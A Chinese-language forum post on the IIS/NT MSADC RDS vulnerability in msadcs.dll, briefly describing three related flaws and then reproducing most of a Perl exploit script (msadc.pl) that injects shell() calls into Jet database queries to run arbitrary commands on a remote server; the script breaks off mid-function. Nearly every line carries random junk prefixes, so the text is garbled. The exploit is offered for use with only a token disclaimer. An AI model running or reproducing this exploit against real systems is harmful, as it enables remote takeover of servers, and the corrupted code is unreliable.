IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Y! 8 I 6!QY)H^j9, 涉及程序:
F=T};b Microsoft NT server
seNJ6p=` +1uAzm4SL 描述:
\E}YtN# 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}3%L3v& ^0x0 rY 详细:
%$'YP 如果你没有时间读详细内容的话,就删除:
Q/u2Q;j> c:\Program Files\Common Files\System\Msadc\msadcs.dll
0`=>/Wr39 有关的安全问题就没有了。
&1ZqC; /V>q(Q 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Xyz w.%4c 1o
Z!Up0 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
#0:N$'SZ 关于利用ODBC远程漏洞的描述,请参看:
gG?sLgL: "A4.2 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [5"F=tT7WP f+WN=-F\ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
jPDk~| http://www.microsoft.com/security/bulletins/MS99-025faq.asp fV>12ici Z?@oe-mz 这里不再论述。
`]T#uP<u VKZZTFmV2) 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
fN|'aq*Pd F4b$ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
(4GDh% 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
6g6BE^o\ hxT{!g Hv3<gyD #将下面这段保存为txt文件,然后: "perl -x 文件名"
;ZasK0 y;$
!J #!perl
@,9cpaL3 #
)iU@P7W= # MSADC/RDS 'usage' (aka exploit) script
sY%nPf~9q' #
UG~/ # by rain.forest.puppy
_Hp[}sv4) #
G\PFh& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]YF_c,Q # beta test and find errors!
y\C_HCU H $sfDtnRy use Socket; use Getopt::Std;
lx)Bj6 getopts("e:vd:h:XR", \%args);
Q
1:7 9 F5+)=P# print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(q
0wV3Qv gfPR3%EXs if (!defined $args{h} && !defined $args{R}) {
'xG:v)( print qq~
CAJ]@P#Xj+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
Y3n6y+Uzk -h <host> = host you want to scan (ip or domain)
Y}n$s/O:u8 -d <seconds> = delay between calls, default 1 second
DwNEqHi -X = dump Index Server path table, if available
G+SMH`h -v = verbose
# fe%E. -e = external dictionary file for step 5
^U8^P]{R| Mhwuh`v% Or a -R will resume a command session
z, f wk@S+Q ~; exit;}
23iMG]J& q+J;^u"E $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
zm{U.Q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
.@kjC4m if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
\'>ZU-V if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
@5,Xr`] $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
qOD:+b if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!zW22M Lk>GEi| if (!defined $args{R}){ $ret = &has_msadc;
a49xf^{1"i die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
@
)2<$d "<Q,|Md print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>u0B ~9_E . "cmd /c ";
6");NHE $in=<STDIN>; chomp $in;
Z'cL"n\9R] $command="cmd /c " . $in ;
K1oSoD8c Qw@_.I if (defined $args{R}) {&load; exit;}
u|Tg*B bMvHAtp print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
j96\({;k &try_btcustmr;
I%b}qC"5M 6E))4
lW print "\nStep 2: Trying to make our own DSN...";
D\LXjEme. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
P: QSr8K ^!j,d_)b! print "\nStep 3: Trying known DSNs...";
ui!MQk+D9 &known_dsn;
n ]<>$ Xf/qUao print "\nStep 4: Trying known .mdbs...";
1$toowb"Zy &known_mdb;
:H8`z8=0f{ )r`F}_CEL if (defined $args{e}){
( kFg2kG print "\nStep 5: Trying dictionary of DSN names...";
{+N7o7 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
z:JQ3D7/we i9=*ls^Cx print "Sorry Charley...maybe next time?\n";
$8;`6o` exit;
)Zbrg~-@ =K8z8K? ##############################################################################
3qVDHDQ?ZV
rsPo~nA sub sendraw { # ripped and modded from whisker
?rSm6V sleep($delay); # it's a DoS on the server! At least on mine...
6)#=@i`
\ my ($pstr)=@_;
C'S& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
DRy,n)U& die("Socket problems\n");
jT $ if(connect(S,pack "SnA4x8",2,80,$target)){
e:T8={LU2W select(S); $|=1;
CGCI3Z' print $pstr; my @in=<S>;
L^%jR= select(STDOUT); close(S);
NU/:jr.W# return @in;
ZGgM-O1 } else { die("Can't connect...\n"); }}
L; (J6p]h uk<JV*R= ##############################################################################
_I<LB0kgf. FI=]K8 sub make_header { # make the HTTP request
(;T g1$ my $msadc=<<EOT
o"Mhwh POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
o4Hp|iK&0 User-Agent: ACTIVEDATA
2(s-8E:
Host: $ip
;Svs|]d Content-Length: $clen
}Q#3\z5 Connection: Keep-Alive
n/vKxtW 6U?z ADCClientVersion:01.06
grbUR)f<?- Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_gn`Y(c$% ]`H8r y2 --!ADM!ROX!YOUR!WORLD!
TChKm-x Content-Type: application/x-varg
V^D!\)# Content-Length: $reqlen
P; DGs]PF SMIr@*R EOT
u0?,CQPL ; $msadc=~s/\n/\r\n/g;
12y+g5b return $msadc;}
<x O"
E%t wu`P=- ##############################################################################
D\9-MXc1 a%NSL6 sub make_req { # make the RDS request
pe@j`Sm:Ej my ($switch, $p1, $p2)=@_;
+S
C;@' my $req=""; my $t1, $t2, $query, $dsn;
[W,} & pdEUDuX if ($switch==1){ # this is the btcustmr.mdb query
rhQv,F9 $query="Select * from Customers where City=" . make_shell();
tZ*z.3\< $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
aPH6R<G $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
o3kVcX^ e>~7RN elsif ($switch==2){ # this is general make table query
^R;rrn{^ $query="create table AZZ (B int, C varchar(10))";
xp;CYr"1} $dsn="$p1";}
uYy&<_r nAY'1!O i elsif ($switch==3){ # this is general exploit table query
l
4e`-7 $query="select * from AZZ where C=" . make_shell();
M~"93 Q`f^ $dsn="$p1";}
? ht;ZP 1_V',0|`> elsif ($switch==4){ # attempt to hork file info from index server
:I/i"g7< $query="select path from scope()";
U%T{~f $dsn="Provider=MSIDXS;";}
bS"zp6Di r?:xD(}Q elsif ($switch==5){ # bad query
PZE{-TM?W $query="select";
S{7 R6,B5 $dsn="$p1";}
5FQtlB9F DB>.Uf" $t1= make_unicode($query);
uX8yS|= * $t2= make_unicode($dsn);
qdY*y&}"J $req = "\x02\x00\x03\x00";
C'oNGOEd $req.= "\x08\x00" . pack ("S1", length($t1));
,3p$Z $req.= "\x00\x00" . $t1 ;
o@j)clf $req.= "\x08\x00" . pack ("S1", length($t2));
+L>?kr[i[ $req.= "\x00\x00" . $t2 ;
WB(Gx_o3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\95O return $req;}
Qs1e0LwA9 `;BpdG(m ##############################################################################
MQ7Hn;`B OK \F sub make_shell { # this makes the shell() statement
Nub)]S>_/t return "'|shell(\"$command\")|'";}
bUS"1Tg]*6 wN^$8m5\T^ ##############################################################################
V+- ]txu| ON
q =b I* sub make_unicode { # quick little function to convert to unicode
eR*y<K(d my ($in)=@_; my $out;
9}*<8%PSt, for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ie9,ye" return $out;}
*C"-$WU3o 1?hx/02 ##############################################################################
%9Y3jB",2 Yj/[I\I"m sub rdo_success { # checks for RDO return success (this is kludge)
d@IV@'Q7u my (@in) = @_; my $base=content_start(@in);
ae-hQF& if($in[$base]=~/multipart\/mixed/){
u{d\3-]/ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Y}UVC|Ef return 0;}
qG?svt }[c,/NH ##############################################################################
zd-qQ.j0 (yxHXO9N sub make_dsn { # this makes a DSN for us
[Z$E^QAP my @drives=("c","d","e","f");
\\{+t<?J print "\nMaking DSN: ";
RZrQ^tI3" foreach $drive (@drives) {
5ON\Ve_H print "$drive: ";
e3!0<A[X my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
at5>h "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
{IR-g,B . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
E3P2 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
q{E44
eQ7F return 0 if $2 eq "404"; # not found/doesn't exist
GiGXV @dq if($2 eq "200") {
. ]D7Il foreach $line (@results) {
#Rx|oSc} return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
1Bhd- } return 0;}
q[Ed6FM$~ c3]X#Qa#m$ ##############################################################################
o b,%); m I {&8iUN sub verify_exists {
O\&[|sGY{ my ($page)=@_;
_oBJ'8R\ my @results=sendraw("GET $page HTTP/1.0\n\n");
\Uh$%#}. return $results[0];}
#cdrobJ ~;uc@GGo ##############################################################################
m2h@* unZYFA}( sub try_btcustmr {
A1uo@W my @drives=("c","d","e","f");
ey ; 94n:< my @dirs=("winnt","winnt35","winnt351","win","windows");
{Xw6p f tE2@} foreach $dir (@dirs) {
Ptj[9R print "$dir -> "; # fun status so you can see progress
rmh 1.W foreach $drive (@drives) {
wM
aqR"% print "$drive: "; # ditto
Htn''adg5 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
;(I')[R" $reqlenlen=length( "$reqlen" );
,UE>@;] $clen= 206 + $reqlenlen + $reqlen;
.{ +Obi #'lqE)T my @results=sendraw(make_header() . make_req(1,$drive,$dir));
|jT^[q(z if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
'7;b+Vbl# else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ZA {T0: h =E)5&Z ##############################################################################
B;=-h(E}vJ zC<k4[ . sub odbc_error {
Lw_s'QNWR my (@in)=@_; my $base;
!gbPxfH:6 my $base = content_start(@in);
YOE!+MiO if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
GX-V|hLaGX $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oTLA&dy@ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M`u&-6 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W3aFao>!OZ return $in[$base+4].$in[$base+5].$in[$base+6];}
*47',Qy print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
SNl% ?j|
f print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
_ 0g\g~[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
q47:kB{d .XTR
HL*: ##############################################################################
]~!?(d!J/ ).l`N&_peM sub verbose {
mA2L~=v# my ($in)=@_;
s.]<r5v7 return if !$verbose;
O~~WP*N print STDOUT "\n$in\n";}
RF$2p4=[ |X6/Y@N ##############################################################################
vv0+F6 @ (u:^4,Z sub save {
F(}~~EtPHo my ($p1, $p2, $p3, $p4)=@_;
;:DDz open(OUT, ">rds.save") || print "Problem saving parameters...\n";
QMAineO print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2/F";tc\' close OUT;}
)oAx t70 lNRGlTD% ##############################################################################
SR8)4:aKW l\t\DX"s_ sub load {
-'%>Fon my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
YDxEWK< open(IN,"<rds.save") || die("Couldn't open rds.save\n");
g:rjt1w`D @p=<IN>; close(IN);
0+dc $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
J<;@RK,c_ $target= inet_aton($ip) || die("inet_aton problems");
d":GsI?3 print "Resuming to $ip ...";
?_V&~?r $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
1XXuFa& if($p[1]==1) {
uw>O|&! $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
[Zxv&$SQ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'L$}!H1y my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
1O,:fTG< if (rdo_success(@results)){print "Success!\n";}
oqUF_kh else { print "failed\n"; verbose(odbc_error(@results));}}
;U)xZ _Ew~ elsif ($p[1]==3){
w 8BSY if(run_query("$p[3]")){
W{W8\ print "Success!\n";} else { print "failed\n"; }}
}p|S3/G?$! elsif ($p[1]==4){
#X t|"Z if(run_query($drvst . "$p[3]")){
kH'zTO1 print "Success!\n"; } else { print "failed\n"; }}
v1O 1-aM exit;}
:}* =IH~:D\& ##############################################################################
o|G[/o2 Mv?$zV"`# sub create_table {
wSd|-e my ($in)=@_;
;Y9-0W $reqlen=length( make_req(2,$in,"") ) - 28;
?[VL
2dP0 $reqlenlen=length( "$reqlen" );
#UesXv $clen= 206 + $reqlenlen + $reqlen;
[L ?^+p> my @results=sendraw(make_header() . make_req(2,$in,""));
{16]8-pe return 1 if rdo_success(@results);
R(AS$<p{!> my $temp= odbc_error(@results); verbose($temp);
&,8F!)[9 return 1 if $temp=~/Table 'AZZ' already exists/;
J5Ovj,[EZ return 0;}
;1AXu/ m-u0U ##############################################################################
H5!e/4iz q/#pol sub known_dsn {
J:Idt}@z # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
/nWBo l, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
SUC'o" "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
fvBL? x "banner", "banners", "ads", "ADCDemo", "ADCTest");
@s.civ!Yk sXaudT foreach $dSn (@dsns) {
N3(.7mxo print ".";
l9t|@9 next if (!is_access("DSN=$dSn"));
v|Y
ut~ if(create_table("DSN=$dSn")){
B&L-Lc2 print "$dSn successful\n";
xQ,My if(run_query("DSN=$dSn")){
5RsO^2V: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/
DG t print "Something's borked. Use verbose next time\n";}}} print "\n";}
ItD&L
)) =n<Lbl(7 ##############################################################################
oH='\M%+ zQ~ax!}R sub is_access {
Ms
3Sri my ($in)=@_;
zI,z <- $reqlen=length( make_req(5,$in,"") ) - 28;
<BiSx $reqlenlen=length( "$reqlen" );
V|&->9" $clen= 206 + $reqlenlen + $reqlen;
A9_}RJ9 my @results=sendraw(make_header() . make_req(5,$in,""));
!9t,#?! my $temp= odbc_error(@results);
WCD)yTg:ES verbose($temp); return 1 if ($temp=~/Microsoft Access/);
dt|| nF return 0;}
ZA+w7S3 .]w=+~h ##############################################################################
+l hJ8& Bwl@Muw sub run_query {
'\M]$`Et my ($in)=@_;
5=_bK^Am $reqlen=length( make_req(3,$in,"") ) - 28;
Tx>V$+al $reqlenlen=length( "$reqlen" );
{n\Ai3F- $clen= 206 + $reqlenlen + $reqlen;
f]48-X,^6 my @results=sendraw(make_header() . make_req(3,$in,""));
43?uTnX/ return 1 if rdo_success(@results);
M;LR$'cP my $temp= odbc_error(@results); verbose($temp);
@1N.;]| return 0;}
$1 t
IC_ Vbv)C3ezD ##############################################################################
!nU|3S[b
NHiac(&* sub known_mdb {
H1.ktG my @drives=("c","d","e","f","g");
rS8}(lf my @dirs=("winnt","winnt35","winnt351","win","windows");
ykYef my $dir, $drive, $mdb;
-v! ; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
YeS5%?Fk s}F.D^^G # this is sparse, because I don't know of many
1ixBwnp? my @sysmdbs=( "\\catroot\\icatalog.mdb",
G=/^]E "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
#y-R*4G "\\system32\\certmdb.mdb",
Du #>y! "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
goe%'k, .*edaDi my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
FsLd&$?T& "\\cfusion\\cfapps\\forums\\forums_.mdb",
GL%)s?
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h
S)lQl:^ "\\cfusion\\cfapps\\security\\realm_.mdb",
#&X5Di[A "\\cfusion\\cfapps\\security\\data\\realm.mdb",
U"RA*| "\\cfusion\\database\\cfexamples.mdb",
,N1pw w? "\\cfusion\\database\\cfsnippets.mdb",
E7q,6f3@r "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
H<3:1*E "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
,bzC|AK "\\cfusion\\brighttiger\\database\\cleam.mdb",
IIN,Da;hD "\\cfusion\\database\\smpolicy.mdb",
,T*\9'Q "\\cfusion\\database\cypress.mdb",
,_TE@]!$ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
6 2#@Y-5 "\\website\\cgi-win\\dbsample.mdb",
L*OG2liJ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
bFhZSk) "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
"U!Vdt2vp ); #these are just
=~ k}XB foreach $drive (@drives) {
EU7nS3K)O~ foreach $dir (@dirs){
0t[ 1#!=k foreach $mdb (@sysmdbs) {
pgQ^w0BQV print ".";
^5Zka!'X2Z if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
.'>d7 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
zs6rd83# if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
PeIKx$$Kl{ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
OLo?=1&;; } else { print "Something's borked. Use verbose next time\n"; }}}}}
n&,X']z. aJ@lT&. foreach $drive (@drives) {
fr'DV/T foreach $mdb (@mdbs) {
$xCJ5M4 print ".";
d_!}9 if(create_table($drv . $drive . $dir . $mdb)){
CaV@<T print "\n" . $drive . $dir . $mdb . " successful\n";
+p[O|[z if(run_query($drv . $drive . $dir . $mdb)){
+/
{lz8^, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
<0;G4fE7[H } else { print "Something's borked. Use verbose next time\n"; }}}}
d3\KUR^ }
BiDyr |ZC'a! ##############################################################################
T% GR{mp <Sr:pm sub hork_idx {
k<